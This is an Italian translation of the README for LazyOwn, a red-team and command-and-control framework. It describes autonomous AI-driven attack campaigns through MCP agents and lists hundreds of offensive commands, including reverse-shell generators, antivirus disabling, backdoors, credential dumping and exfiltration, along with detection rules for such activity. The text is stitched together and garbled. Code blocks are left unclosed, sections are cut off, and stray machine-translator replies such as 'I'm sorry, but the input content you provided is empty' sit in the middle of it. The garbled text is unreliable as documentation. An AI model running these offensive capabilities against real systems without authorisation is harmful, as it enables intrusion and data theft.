[![ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/Y8Y2Z73AV)


LazyOwn viene fornito con ASSOLUTAMENTE NESSUNA GARANZIA. Questo è software libero, e sei libero di ridistribuirlo secondo i termini della GNU General Public License v3.
Consulta il file LICENSE per i dettagli sull'utilizzo di questo software.

 # LazyOwn RedTeam Framework v0.2.161

LazyOwn è un framework red team professionale e una piattaforma Command & Control (C2) progettata per penetration tester, red team e ricercatori di sicurezza. Offre 741 comandi CLI, 126 alias, 153 strumenti MCP per agenti AI, una dashboard web C2 multi-operatore e 137 integrazioni di plugin YAML/Lua che coprono l'intera kill chain su Linux, Windows, macOS e BSD.

**Novità nella v0.2.161:** marketplace integrato con regole YARA + template Nuclei, sfruttamento autonomo `auto_pwn`, comando `hunt` per ricognizione threat-informed, motore di suggerimenti post-comando, crittografia automatica dei dati di sessione, ELO/badge gamificati e 7 nuovi playbook APT.

## Avvio rapido in tre comandi

Nuovo qui? Questo è l'intero percorso di avvio. Procedura completa: [`QUICKSTART.md`](https://github.com/grisuno/lazyown/blob/main/QUICKSTART.md).```bash
git clone https://github.com/grisuno/LazyOwn.git && cd LazyOwn
bash install.sh        # virtualenv + pinned dependencies + C2 certificates
./run                  # launches the shell; first run offers the setup wizard

Poi, all'interno della shell `(LazyOwn) >`:```text
doctor          # preflight: verifies Python, venv, packages, certs, SecLists, tools
wizard          # guided config (auto-detects lhost, walks 8 steps incl. LLM provider)
ping            # confirm the target is up and detect its OS
lazynmap        # full port + service scan

---

## Collaborazione Multi-Operatore

Il layer di collaborazione di LazyOwn fornisce funzionalità di team server in tempo reale tramite
Server-Sent Events (SSE). Si attiva automaticamente all'avvio di `lazyc2.py`.

**Dashboard browser** — apri in qualsiasi browser del team:```
https://<lhost>:<c2_port>/collab/?operator=<your_handle>

**Pubblica un risultato a tutti gli operatori**:```bash
curl --insecure -sk -X POST https://<lhost>:<c2_port>/collab/publish \
  -H "Content-Type: application/json" \
  -d '{"type":"finding","operator":"alice","payload":{"target":"10.10.11.5","detail":"root via CVE-2024-xxxx"}}'

| Endpoint | Metodo | Descrizione |
|---|---|---|
| `/collab/` | GET | Dashboard browser multi-operatore |
| `/collab/stream?operator=<name>` | GET (SSE) | Flusso di eventi in tempo reale |
| `/collab/operators` | GET | Elenco degli operatori attivi |
| `/collab/publish` | POST | Trasmette un evento strutturato |
| `/collab/lock` | POST | Acquisisce un lock consultivo sul target |
| `/collab/unlock` | POST | Rilascia il lock sul target |
| `/collab/locks` | GET | Tutti i lock attivi |
| `/collab/history?n=100` | GET | Ultimi N eventi |

Dalla CLI: `collab_join <handle>` stampa tutti gli URL per un dato operatore.

---

## Avvio rapido MCP

LazyOwn espone l'intero framework tramite il Model Context Protocol (MCP). Lo stesso server funziona con Claude Code, Claude Desktop, Hermes Agent e OpenCode — scegli l'integrazione che corrisponde al tuo ambiente.

### Claude Code```bash
bash scripts/setup_hermes_mcp.sh

Installa lo slash command (opzionale):```bash
cp skills/lazyown.md ~/.claude/commands/lazyown.md

Poi ricarica gli strumenti MCP in Hermes con `/reload-mcp`.

Consulta `skills/hermes-lazyown/README.md` per la guida completa all'integrazione con Hermes.

### OpenCode

LazyOwn è compatibile con OpenCode tramite il **LazyOwnOpenCodeAdapter**:```bash
git clone https://github.com/grisuno/LazyOwnOpenCodeAdapter.git
cd LazyOwnOpenCodeAdapter && npm install
npm run build

I nomi dei colori vengono validati rispetto a `ColorRegistry` e i caratteri dei glifi rispetto a `GlyphRegistry`; qualsiasi cosa sconosciuta ricade silenziosamente sul valore predefinito della factory, così un payload malformato non rompe mai il prompt.

### Navigazione graph-aware — UX per operatore + agente da graphify

`cli/graph_advisor.py` carica il knowledge graph prodotto da
[`/graphify`](https://graphify.dev) sull'albero dei sorgenti di LazyOwn
(`graphify-out/graph_lazyown.json` — ~1500 nodi, ~2900 archi, 14
community) e lo espone sia alla shell cmd2 sia al server MCP. L'advisor
è uno stack SOLID in singolo file — `GraphLoader` (IO su file con cache
basata su mtime), `GraphIndex` (indici in memoria di adiacenza / grado /
community), `GraphScorer` (primitiva pura di ranking), `GraphAdvisor`
(orchestratore) — con ogni costante mantenuta sulla dataclass
`GraphAdvisorConfig`.

**Comandi operatore (shell cmd2)**

| Comando | Scopo |
|---------|---------|
| `graph_search <query> [limit]` | Ricerca fuzzy dei nodi per label, id o file sorgente. |
| `neighbors <node> [depth] [limit]` | Attraversa il grafo verso l'esterno da un nodo con relazione dell'arco / confidenza. |
| `god_nodes [N]` | Mostra i nodi più connessi — le astrazioni centrali del framework. |
| `suggest_next [seeds…] [N]` | Raccomanda i prossimi comandi attraversando verso l'esterno dall'attività recente. Senza seed legge `sessions/LazyOwn_session_report.csv` e usa quello come seed. |

L'hook `default()` della shell ora instrada i comandi `do_*` sconosciuti
attraverso lo stesso advisor + l'esistente `FuzzyCommandIndex`, così un
operatore che digita `ddo_lazynmap` vede immediatamente *"Intendevi: do_lazynmap, do_lazynmap_quick, …?"*
prima del toast.

**Strumenti MCP (Claude Code, Claude web, qualsiasi agente MCP)**

| Strumento | Scopo |
|------|---------|
| `lazyown_graph_summary` | Conteggi di nodi / archi / community e il percorso risolto del grafo. |
| `lazyown_graph_search` | Ricerca fuzzy dei nodi con un limite `budget_tokens` così la risposta JSON non fa mai esplodere la finestra di contesto dell'agente. |
| `lazyown_graph_neighbors` | Attraversamento stratificato dell'adiacenza con relazione dell'arco e confidenza — la query canonica "da cosa dipende X?". |
| `lazyown_graph_suggest_next` | Raccomandazione del passo successivo; accetta una lista `recent` esplicita o legge il transcript della sessione. |

Ogni strumento MCP del grafo riduce in loco i campi lista per rientrare in `budget_tokens`
(predefinito 1500). Quando il grafo è mancante, ogni strumento restituisce
`{"available": false, "reason": "..."}` invece di andare in crash — all'operatore
viene detto di eseguire `/graphify .` una volta e tutto inizia a funzionare.

L'advisor usa una cache basata su `(path, mtime)` così una ricostruzione fresca di `/graphify` viene
rilevata automaticamente al successivo comando CLI o chiamata MCP senza
riavviare la shell o il server MCP. Vedi
`tests/test_graph_advisor.py` per i 20 unit test che coprono loader,
index, scorer e l'intera API dell'advisor.

### Suggerimenti reattivi inline — suggerimenti non bloccanti per il passo successivo

`cli/reactive_hints.py` si aggancia alla pipeline post-comando di cmd2 tramite
`register_postcmd_hook` e stampa una singola riga in dim sotto ogni output di comando,
prima che appaia il prompt successivo:```
  ↳ do_gobuster · do_enum4linux · do_ffuf

Blocca la shell mentre è aperto (come `htop` o `lazygit`). Premi **Q** o
Ctrl-C per chiudere e tornare al prompt di cmd2.

**Layout**```
┌─ LazyOwn RedTeam Dashboard ─────────────────────────────────────────────────┐
│ TARGET 10.10.11.5  ATTACKER 10.10.14.5  DOMAIN target.htb  PHASE RECON  OS  │
├─────────────────────┬─────────────────────────────────┬─────────────────────┤
│  Kill Chain         │  Recent Commands                │  Ops                │
│  ✔ Recon            │  ● lazynmap        2026-05-11   │  Objective:         │
│  ▶ Enum             │  ● ping            2026-05-11   │  Initial Access     │
│  ○ Exploit          │  ● gobuster        2026-05-11   │                     │
│  ○ PrivEsc          │                                 │  Credentials: 0     │
│  ○ Lateral          │                                 │  Hashes: 0          │
│  ○ Exfil            │  Config                         │  Beacons: 0         │
│  ○ Report           │  Target: 10.10.11.5             │                     │
│                     │  C2 Port: 4444                  │                     │
├─────────────────────┴─────────────────────────────────┴─────────────────────┤
│  ↳ next: do_gobuster · do_enum4linux · do_ffuf · do_nikto                   │
└──────────────────────────────────── [Q] Quit  [R] Refresh  [?] Help ────────┘

### Comandi del Bot

| Comando | Descrizione |
|---------|-------------|
| `/start <secret>` | Autenticazione con il segreto C2 da `payload.json` |
| `/cmd <command>` | Esegue qualsiasi comando shell di LazyOwn |
| `/sitrep` | Report completo della situazione della campagna |
| `/config [key] [val]` | Visualizza o imposta i valori di payload.json |
| `/addcli <client_id>` | Imposta il client C2 attivo |
| `/clients` | Elenca gli impianti C2 online |
| `/c2 <command>` | Invia un comando al beacon C2 |
| `/agent <goal>` | Esegue l'agente autonomo Groq/Ollama |
| `/delegate <goal>` | Delega il task al subagente Hermes |
| `/cron <schedule> <cmd>` | Pianifica comandi LazyOwn ricorrenti |
| `/status` | Mostra lo stato del daemon e autonomo |
| `/stop` | Ferma qualsiasi daemon autonomo in esecuzione |
| `/download <file>` | Scarica file da sessions/ |
| Carica documento | Carica file sul beacon C2 |

Qualsiasi messaggio di testo semplice non preceduto da `/` viene trattato come un comando LazyOwn diretto. Sono applicati il rate limiting (5 comandi/minuto) e i timeout di sessione (30 minuti).

### Architettura

Il bot utilizza la stessa esecuzione di comandi basata su PTY del server MCP (`skills/lazyown_mcp.py`), quindi ogni comando, alias e addon di LazyOwn funziona senza import Python diretti. I task autonomi (`/agent`, `/delegate`) generano agenti Groq o Ollama attraverso la shell di LazyOwn, e i comandi C2 (`/c2`, `/clients`) utilizzano gli endpoint autenticati `/api/command` e `/get_connected_clients`.

---

## Architettura AI Avanzata (MoE + RL + SWAN + Hive Mind)

LazyOwn integra uno stack AI multi-agente di livello mondiale che si adatta e migliora attraverso ogni engagement:

### Mixture of Experts (MoE) — `modules/moe_router.py`

Cinque esperti LLM sono registrati con tag di capacità, pesi base e livelli di costo:

| Esperto | Backend | Punti di forza |
|--------|---------|-----------|
| `groq_fast` | Groq llama-3.1-8b-instant | Ricognizione, enumerazione, decisioni rapide |
| `groq_powerful` | Groq llama-3.3-70b-versatile | Sfruttamento, post-ex, ragionamento complesso |
| `groq_deepseek_r1` | Groq deepseek-r1-distill-llama-70b | Escalation di privilegi, ragionamento passo-passo |
| `ollama_reason` | Ollama deepseek-r1:1.5b | Offline, sicuro per la privacy, analisi dettagliata |
| `groq_gemma` | Groq gemma2-9b-it | Movimento laterale, analisi delle credenziali |

Il routing utilizza softmax scalato per temperatura (`T = max(0.5, 1.5/(1+calls/50))`) su pesi aggiustati. I pesi si auto-aggiustano tramite media mobile esponenziale del reward per esperto nel tempo.

### Reinforcement Learning from Models (RLM) — `modules/rl_trainer.py`

Il Q-learning tabellare addestra la policy di routing sulle sessioni di engagement:```
State:  (task_type, engagement_phase, recent_reward_bucket)
Action: expert_id
Reward: r_raw - λ * detection_prob * |r_raw|    (λ=0.5)
Update: Q(s,a) ← Q(s,a) + α * [r + γ * max_a' Q(s',a') - Q(s,a)]

**Metodi di rilevamento:**

| Metodo | Cosa controlla |
|--------|----------------|
| `ai_test` | Predizione del modello ML LazyOwnBT |
| `proc_scan` | Nomi di processi sospetti |
| `net_scan` | Connessioni/porte inusuali |
| `log_analyze` | Anomalie auth/syslog |
| `fim_scan` | Modifiche all'integrità dei file |
| `redteam_hunt` | Pattern di threat hunting |
| `sigma_rules` | 10 regole Sigma (mimikatz, reverse shell, privesc, nmap, webshell, /etc/shadow, cron, SMB, exfil, injection) |

**Motore di rilevamento regole Sigma** (LazyOwnBT `lazyownbt/detection.py`):

| ID | Regola | Livello |
|----|------|-------|
| LAZYOWN-001 | Mimikatz Credential Dump | critical |
| LAZYOWN-002 | Reverse Shell Pattern | critical |
| LAZYOWN-003 | Privilege Escalation via Sudo | high |
| LAZYOWN-004 | Nmap Scan Detected | medium |
| LAZYOWN-005 | Webshell Execution | critical |
| LAZYOWN-006 | Process Injection | high |
| LAZYOWN-007 | /etc/shadow Access | critical |
| LAZYOWN-008 | Cron Persistence | high |
| LAZYOWN-009 | Lateral Movement SMB | high |
| LAZYOWN-010 | Data Exfiltration | high |

**File di output:**
- `sessions/purple_dataset.csv` — Dataset di addestramento ML
- `sessions/purple_audit.jsonl` — Log di audit completo
- `sessions/detection_feedback.jsonl` — Calibrazione dell'oracolo

**Nota:** Per l'uso in produzione, integrare con un SIEM reale (Wazuh, Elastic SIEM, Splunk) tramite l'inoltro dei log di auditd. Le regole Sigma integrate sono solo per test offline.

### Hive Mind — `skills/hive_mind.py`

Architettura multi-agente queen+drone con memoria condivisa:
- **QueenBrain** (Claude): orchestrazione di alto livello + ConsensusProtocol per azioni ad alto rischio
- **DronePool** (Groq/Ollama): esecuzione parallela di attività di recon/exploit/cred/lateral/privesc
- **HiveMemory**: ChromaDB semantico + SQLite episodico + archiviazione a lungo termine Parquet
- **EpisodeReflectionEngine**: estrazione di lezioni post-campagna memorizzate come `sessions/campaign_lessons.jsonl`

### Autonomous Campaign Intelligence (ACI) — `skills/aci_planner.py`

**Il primo framework C2 che pianifica, esegue e apprende autonomamente.**

ACI colma il divario tra un obiettivo di engagement in linguaggio naturale e un ciclo
di esecuzione completamente autonomo. Nessun concorrente (Cobalt Strike, Sliver, Havoc,
Metasploit) fa questo end-to-end:```
Operator: "Compromise the domain controller at corp.internal
           starting from a phishing foothold on 10.10.11.5"
         ↓
ACI Planner ──► MITRE ATT&CK decomposition (LLM-backed, static fallback)
                 recon → exploit → exec → privesc → cred → lateral → report
         ↓
ObjectiveStore ─► 20+ concrete objectives injected into sessions/objectives.jsonl
         ↓
auto_loop / autonomous_daemon ─► executes each objective autonomously
         ↓
ACIEngine monitors ─► detects stalled phases (blocked_count ≥ 3)
         ↓
ACIReplan ──► LLM generates alternative techniques for blocked phases
         ↓
ACIReflector ──► appends lessons to sessions/campaign_lessons.jsonl
                 feeds back into the next engagement

**Cosa rende ACI unico rispetto ad altri strumenti:**

- Cobalt Strike / Sliver / Havoc sono framework C2 — l'operatore pianifica ogni passo
- Metasploit ha l'automazione ma non l'intelligenza
- CALDERA emula procedure ATT&CK fisse ma non può adattarsi ad ambienti nuovi
- **ACI pianifica, esegue, ripianifica e impara — continuamente, attraverso gli ingaggi**

**Persistenza:**

| File | Contenuti |
|------|----------|
| `sessions/aci_plan.json` | Piano attivo: fasi, obiettivi, stato di completamento |
| `sessions/aci_history.jsonl` | Piani completati/abbandonati archiviati |
| `sessions/campaign_lessons.jsonl` | Lezioni estratte da ACIReflector |

**Utilizzo CLI (standalone):**```bash
python3 skills/aci_planner.py plan "Compromise DC" --target 10.10.11.5 --os windows
python3 skills/aci_planner.py status
python3 skills/aci_planner.py replan "technique blocked"
python3 skills/aci_planner.py reflect

Abilita SWAN nel daemon: `export AUTO_USE_SWAN=1` prima di avviare.

ACI alimenta il daemon: gli obiettivi iniettati da `lazyown_aci_plan` vengono
raccolti automaticamente dal Ruolo 1 (ObjectiveLoop) — nessuna configurazione aggiuntiva necessaria.

### Ragionamento Basato su Grafo — `modules/world_model.py`

NetworkGraph traccia tutte le relazioni scoperte (host, servizi, credenziali, percorsi di fiducia) e calcola la centralità di grado normalizzata per individuare i candidati pivot. I primi 3 candidati vengono iniettati in ogni chiamata a `to_context_string()`, assicurando che il ciclo autonomo conosca sempre i target di movimento laterale a più alto valore.

## Guardia dell'Ambito di Autorizzazione

Un framework red-team che legge il suo target da `payload.json` ha un lato affilato:
un `rhost` errato lancia comandi offensivi verso un host non autorizzato. La guardia dell'ambito
è la rete di sicurezza. Ogni comando interattivo passa attraverso un unico punto di controllo
che verifica il target attivo rispetto all'ambito di ingaggio autorizzato prima che il
comando venga eseguito.```bash
(LazyOwn) > scope add 10.10.11.0/24       # CIDR, bare IP, hostname, or *.corp.local wildcard
(LazyOwn) > scope add dc.corp.local
(LazyOwn) > scope mode enforce            # off | warn (default) | enforce
(LazyOwn) > scope                         # show current scope and posture

**Correzioni principali applicate:**
- `shell=True` eliminato da `anti_forensics.py`, `pivoting.py`, `icmp_server.py`, `resource_script.py`, `command_executor.py`, `postexp_migrated.py` (22 istanze)
- `os.system()` eliminato da `persist_migrated.py`, `cloud.py`, `lazyown.py` (4 istanze), `misc_migrated.py`
- `os.popen()` eliminato da `websocket_beacon.py`, `evasive_payload.py`
- `sshpass -p` sostituito con `sshpass -e` + variabile d'ambiente in 4 file (C2, lateral, exfil, persist)
- Chiave di crittografia hardcoded rimossa da `phishing_orchestrator.py` (ENCRYPTION_KEY obbligatoria)
- XSS nel banner C2 corretto con `html.escape()`
- Command injection tramite rhost negli appunti corretta con `safe_clipboard_copy()`
- cmd2 `CMD_ATTR_HELP_CATEGORY` rinominato in `COMMAND_ATTR_HELP_CATEGORY` (compatibilità con cmd2 4.2.2)

---

## Capacità dei comandi

LazyOwn fornisce 741 comandi distribuiti su 13 fasi della kill-chain, disponibili sia da CLI che dalla dashboard web C2:

| Fase | Comandi in evidenza |
|-------|-------------------|
| Recon | `lazynmap`, `ping`, `whatweb`, `gobuster`, `ffuf`, `dig`, `dnsenum`, `finalrecon` |
| Enum | `enum4linux`, `cme`, `bloodhound`, `nuclei`, `kerbrute`, `ldapdomaindump` |
| Exploit | `auto_pwn`, `hunt`, `ss` (searchsploit), `venom`, `lazymsfvenom`, `searchhash` |
| Post-Exploit | `linpeas`, `winpeas`, `blacksandbeacon`, `mimikatzpy`, `disableav` |
| Persistence | `persist`, `backdoor`, `cron`, `schtask`, `createwebshell` |
| PrivEsc | `getcap`, `sudo`, `adcs_check`, `privesc_predictor` |
| Cred Access | `secretsdump`, `evil`, `getnpusers`, `hashcat`, `john`, `spraykatz` |
| Lateral | `psexec`, `wmiexec`, `ssh_cmd`, `chisel`, `ligolo`, `bloodhound` |
| Exfil | `exfil`, `upload_gofile`, `encrypt`/`decrypt`, `compressdir` |
| C2 | `lazyc2`, `blacksandbeacon`, `createrevshell`, `listener_go` |
| Reporting | `report`, `lazyreport`, `campaign_sitrep`, `timeline`, `dashboard` |
| AI/Agents | `auto_loop`, `recommend_next`, `playbook_generate`, `playbook_run`, `orchestrate` |
| Marketplace | `yara_marketplace`, `nuclei_marketplace`, `marketplace`, `lab` |

Gestione principale: `assign`, `show`, `doctor`, `wizard`, `scope`, `collab_join`, `config_banner`, `palette`, `fz`.

Vedi [`COMMANDS.md`](https://github.com/grisuno/lazyown/blob/main/COMMANDS.md) per il riferimento completo dei 606 comandi e [`ESSENTIALS.md`](https://github.com/grisuno/lazyown/blob/main/ESSENTIALS.md) per i 18 comandi che coprono l'80% degli engagement.

# Estendere LazyOwnShell con plugin Lua

Questo documento spiega come utilizzare lo scripting Lua per estendere le funzionalità dell'applicazione `LazyOwnShell`, che è costruita sopra il framework `cmd2` in Python. Lua consente di scrivere plugin personalizzati che possono aggiungere nuovi comandi, modificare il comportamento esistente o accedere ai dati dell'applicazione.

![image](https://assets.kitploit.com/production/public/readmes/56369/c299c50e76da30a39158e7121eb350b9c906048783727107fb9ca556c5317878/f2fa2be6395535c04e8fe7e5630c65d7112913560e76ea2c6a6e0144be148795-display-v1.webp)

---

## Indice

1. [Introduzione](#introduzione)
2. [Configurazione dei plugin Lua](#configurazione-dei-plugin-lua)
3. [Scrivere plugin Lua](#scrivere-plugin-lua)
4. [Registrare nuovi comandi](#registrare-nuovi-comandi)
5. [Accedere ai dati dell'applicazione](#accedere-ai-dati-dellapplicazione)
6. [Gestione degli errori](#gestione-degli-errori)
7. [Plugin di esempio](#plugin-di-esempio)
8. [Best practice](#best-practice)

---

## 1. Introduzione

L'applicazione `LazyOwnShell` supporta lo scripting Lua per consentire agli utenti di estenderne le funzionalità senza modificare il codice Python principale. Gli script Lua (plugin) sono memorizzati nella directory `plugins/` e vengono caricati automaticamente all'avvio dell'applicazione.

I plugin Lua possono:
- Aggiungere nuovi comandi alla shell.
- Modificare comandi o comportamenti esistenti.
- Accedere e manipolare i dati dell'applicazione esposti da Python.

---

## 2. Configurazione dei plugin Lua

Per utilizzare i plugin Lua, assicurarsi di quanto segue:

1. Installare la libreria `lupa` nel proprio ambiente Python:   ```bash
   pip install lupa

plugins/
     init_plugins.lua
     hello.lua
     goodbye.lua

-- Register the function as a command
register_command("my_command", my_command)

Funzioni Chiave
- register_command(command_name, lua_function):
- Registra un nuovo comando nella shell.
- command_name: Il nome del comando (ad esempio, hello).
- lua_function: La funzione Lua da eseguire quando il comando viene invocato.

3. Registrazione di Nuovi Comandi

 Per aggiungere un nuovo comando alla shell, segui questi passaggi:

- Definisci una funzione Lua che implementa la logica del comando.
- Usa register_command per registrare la funzione come comando.
- Esempio: Aggiunta del comando hello
- Crea un file plugins/hello.lua con il seguente contenuto:   ```lua
 function hello(arg)
     local name = arg or "world"
     print("Hello, " .. name .. "!")
 end

 register_command("hello", hello)

Configurazione avanzata```yaml
params:
  - name: "url"
    required: true
    description: "Target URL"
    default: "http://localhost"

  - name: "threads"
    required: false
    default: 4

Sostituzione dei parametri
Sostituisce {param} nei comandi con valori da:

- Argomenti del comando

- Valori predefiniti

- self.params

- Integrazione della guida

help <command> visualizza la descrizione YAML.

Template```yaml
name: ""
enabled: true
description: ""

tool:
  name: ""
  repo_url: ""
  install_path: ""
  install_command: ""  # Optional
  execute_command: ""

params:
  - name: ""
    required: true/false
    default: ""
    description: ""

🚨 Risoluzione dei problemi
Parametri mancanti: verificare i campi obbligatori nel YAML

Errori di installazione: controllare l'accesso alla rete/git

Errori di comando: convalidare la sintassi di execute_command


Caratteristiche principali:
- Markdown pulito in stile GitHub
- Focalizzato solo sugli addon YAML
- Include template pronti all'uso
- Documenta il sistema di sostituzione dei parametri
- Fornisce suggerimenti per la risoluzione dei problemi

Vuoi che aggiunga esempi specifici o scenari d'uso?

![LazyOwnGris3](https://assets.kitploit.com/production/public/readmes/56369/e33455dad0ebc6b7279e64d6befcf165ce82ef5d21df552c9c6207e517842ac6/f44814861f7107d595f4c1c2f543f527ae55c37bbd3146414a6050250ef1c7e4-display-v1.webp)


LazyOwn su Reddit

Rivoluziona il tuo Pentesting con LazyOwn: automatizza l'intrusione su VITTIME Linux, MAC OSX e Windows

<https://www.reddit.com/r/LazyOwn/>


<https://github.com/grisuno/LazyOwn/assets/1097185/eec9dbcc-88cb-4e47-924d-6dce2d42f79a>

Scopri LazyOwn, la soluzione definitiva per automatizzare il flusso di lavoro del pentesting per attaccare sistemi Linux, MacOSX e Windows. Il nostro potente strumento semplifica il pentesting, rendendolo più efficiente ed efficace. Guarda questo video per scoprire come LazyOwn può ottimizzare le tue valutazioni di sicurezza e migliorare il tuo toolkit di cybersecurity.```sh
LazyOwn> assign rhost 192.168.1.1
[SET] rhost set to 192.168.1.1
LazyOwn> run lazynmap
[INFO] Running Nmap scan on 192.168.1.1
...

2. Installa le dipendenze Python:```sh
./install.sh

I'm sorry, but the input content you provided is empty. There is no Markdown text to translate.

Please provide the actual content of chunk 80/156 that you'd like me to translate from English to Italian, and I'll return only the translated Markdown text following all the rules you've specified.```
Use assign <parameter> <value> to configure parameters.
Use show to display the current parameter values.
Use run <script_name> to execute a script with the set parameters.
Use exit to exit the CLI.

Once the shell is running, you can use the following commands:

list: Lists all LazyOwn Modules.
assign <parameter> <value>: Sets the value of a parameter. For example, assign rhost 192.168.1.1.
show: Displays the current values of all parameters.
run <script>: Executes a specific script available in the framework.
Available Scripts

┌─[👤grisun0 (LazyOwn👽kali) ~/home/grisun0/LazyOwn][127.0.0.1][http://VariaType.htb] 🌐192.168.1.120 ✗ feature/lazyllmchat-assistant (🐍env)
└╼ $ help

01. Reconnaissance
──────────────────
alterx        finalrecon       ping             trace                  
apache_users  getcap           ports            trufflehog             
binarycheck   gospider         proxy            tshark_analyze         
cve           graudit          recon            waybackmachine         
dig           httprobe         serveralive2     whatweb                
dnschef       ipinfo           sherlock         windapsearchscrapeusers
dnsenum       launchpad        sslscan        
dnsmap        metabigor        tcpdump_capture
dnstool_py    openssl_sclient  tcpdump_icmp   

02. Scanning & Enumeration
──────────────────────────
ad_ldap_enum  enum4linux_ng     nbtscan              rpcdump             wpscan
allin         evil_ssdp         net_rpc_addmem       rpcmap_py         
amass         feroxbuster       netexec              samrdump          
arjun         finger_user_enum  netview              sawks             
arpscan       fuzz              nikto                sessionssh        
batchnmap     getnpusers        nmapscript           skipfish          
bbot          gobuster          nuclei               smbattack         
blazy         hound             odat                 smbclient         
bloodhound    kerbrute          openredirex          smbclient_impacket
breacher      lazynmap          osmedeus             smbclient_py      
certipy       ldapdomaindump    parsero              smbmap            
certipy_ad    ldapsearch        parth                smtpuserenum      
changeme      lookupsid         portdiscover         snmpcheck         
cme           lookupsid_py      portservicediscover  snmpwalk          
davtest       loxs              pre2k                swaks             
dirsearch     lynis             pykerbrute           vscan             
dmitry        magicrecon        rdp_check_py         wfuzz             
enum4linux    mqtt_check_py     rpcclient            windapsearch      

03. Exploitation
────────────────
aclpwn_py         gettgtpkinit_py  psexec            sqlmap                    
addspn_py         greatSCT         psexec_py         sqsh                      
autoblody         img2cookie       py3ttyup          ss                        
cacti_exploit     jwt_tool         pyautomate        sshexploit                
commix            krbrelayx_py     pyoracle2         template_helper_serializer
cp                kusa             pywhisker         ticketer                  
createcookie      lazypwn          rejetto_hfs_exec  unicode_WAFbypass         
createdll         lfi              rev               upload_bypass             
digdug            lol              seo               utf                       
download_exploit  ms08_067_netapi  sharpshooter      winbase64payload          
downloader        ntpdate          shellfire         wrapper                   
eternal           owneredit        shellshock        www                       
excelntdonut      padbuster        sireprat          xss                       
filtering         powerserver      sqli              xsstrike                  
gets4uticket_py   printerbug_py    sqli_mssql_test 

04. Post-Exploitation
─────────────────────
add2find                     exe2bin              pezorsh              
adversary                    exe2donutbin         pip_proxy            
adversary_yaml               extract_yaml         pip_repo             
aes_pe                       find                 powershell_cmd_stager
ai_playbook                  follina              rmfromfind           
apt_proxy                    hex2shellcode        rubeus               
apt_repo                     internet_proxy       scavenger            
atomic_lazyown               issue_command_to_c2  scp                  
bin2shellcode                lazywebshell         service_ssh          
convert_remcomsvc_from_file  mimikatzpy           sessionsshstrace     
cports                       msfshellcoder        shellcode            
create_synthetic             ofuscate_string      shellcode2elf        
createpayload                ofuscatesh           shellcode2sylk       
d3monizedshell               ofuscatorps1         shellcode_search     
disableav                    path2hex             ssh_cmd              

05. Persistence
───────────────
asprevbase64       ftp                msfpc                 setoolKits
backdoor_factory   generate_revshell  paranoid_meterpreter  ssh       
conptyshell        grisun0            pwncat                toctoc    
createrevshell     grisun0w           pwncatcs              veil      
createwebshell     ivy                rdp                   weevely   
createwinrevshell  knokknok           revwin                weevelygen
darkarmour         listener_go        scarecrow           
dr0p1t             listener_py        service             

06. Privilege Escalation
────────────────────────
responder  smbserver

07. Credential Access
─────────────────────
addusers                cred          john2hash        rocky           
adsso_spray             creds_py      john2keepas      searchhash      
cewl                    crunch        john2zip         smalldic        
crack_cisco_7_password  cubespraying  keepass          spraykatz       
createcredentials       dacledit      medusa           sshkey          
createhash              generatedic   passtightvnc     sudo            
createmail              hashcat       passwordspray    transform       
createusers_and_hashs   hydra         refill_password  username_anarchy

08. Lateral Movement
────────────────────
addcli     id_rsa           penelope         sshd               wifipass  
bloodyAD   lateral_mov_lin  regeorg          stormbreaker       wmiexec   
chisel     ligolo           rnc              targetedKerberoas  wmiexecpro
dcomexec   mssqlcli         set_proxychains  tord             
getTGT     nc               shadowsocks      upload_c2        
gospherus  ngrok            socat            vpn              

09. Data Exfiltration
─────────────────────
adgetpass    dploot    evilwinrm     getuserspns  reg_py    secretsdump  
decrypt      encrypt   getadusers    gitdumper    rsync     unzip        
download_c2  evidence  getnthash_py  gmsadumper   samdump2  upload_gofile

10. Command & Control
─────────────────────
atomic_agent  automsf     emp3r0r                mitre_test   sliver_server
atomic_gen    c2          empire                 msf        
atomic_tests  caldera     generate_playbook      msfrpc     
attack_plan   duckyspark  iis_webdav_upload_asp  my_playbook

11. Reporting
─────────────
apropos                  createtargets          gpt             process_scans
banners                  download_malwarebazar  groq            pth_net      
c2asm                    extract_ports          img2vid         pup          
camphish                 eyewitness             malwarebazar    vulns        
create_session_json      eyewitness_py          morse         
createjsonmachine        get_avaible_actions    name_the_hash 
createjsonmachine_batch  gowitness              nmapscripthelp

12. Miscellaneous
─────────────────
acknowledgearp   clone_site          getseclist        links         run      
acknowledgeicmp  cron                graph             list          sh       
addhosts         decode              h                 load_session  show     
aliass           download_resources  hex_to_plaintext  nano          sys      
assign           encode              ignorearp         news          tab      
banner           encoderpayload      ignoreicmp        payload       urldecode
base64decode     encodewinbase64     ip                pwd           urlencode
base64encode     exit                ip2asn            qa            v        
check_update     fixel               ip2hex            rhost       
clean            fixperm             kick              rot         
clock            gencert             lazyscript        rotf        

13. Lua Plugin
──────────────
generate_c_reverse_shell          lolbas_certutil_download_exec
generate_cleanup_commands         lolbas_certutil_exe          
generate_html_payload             lolbas_mshta_js              
generate_lateral_command          lolbas_mshta_reverse_shell   
generate_linux_asm_reverse_shell  lolbas_rundll32_dll          
generate_linux_raw_shellcode      lolbas_wmic_xsl_execution    
generate_lolbird                  parse_nmap_with_xmlstarlet   
generate_msfvenom_loader          run_nuclei_on_nmap_files     
generate_msfvenom_loader_windows  run_python_rev_c2            
generate_reverse_shell            rundll32_sct_from_url        
generate_stub                     validate_shellcode           
kerberos_harvest                  visualize_network            
lolbas_bitsadmin_exe            

14. Yaml Addon.
───────────────
AdaptixC2                 GoPEInjection      OverRide
agentzero                 gosearch           peeko
argfuscator               gui                pretender
ATTPwn                    gui2               PTMultiTools
AuroraPatch               hack_browser_data  PTMultiTools_scan
banner_tool               hellbird           PyinMemoryPE
bbr                       hive               pyrit
beacon                    hooka_linux_amd64  raven
blacksandbeacon           hostdiscover       ridenum
blacksandbeacon_bof       kivi_revshell      setoolkit
cgoblin_windows           laps               ShadowLink
Clematis                  lazyaddon_creator  shellcode_custom_win_rev_tcp_xored
commix2                   lazyagentAi        SigPloit
copy-fail-CVE-2026-31431  lazybinenc         spoonmap
CVE-2022-22077            lazyftpsniff       stratus_detonate
CVE_2025_24071_PoC        LazyLoader         stratus_list
demiguise                 lazymapd           toposwarm
ebird3                    lazyownbt          unicorn
evilginx2                 LazyOwnExplorer    upxdump
gcr                       llm                vulnbot
gemini-cli                NullGate           vulnbot_groq
gen_dll_rev               oniux              vulnhuntr
Get_ReverseShell          opencode_adapter   watchguard
githubot                  orpheus            wspcoerce
gomulti_loader_linux
gomulti_loader_windows

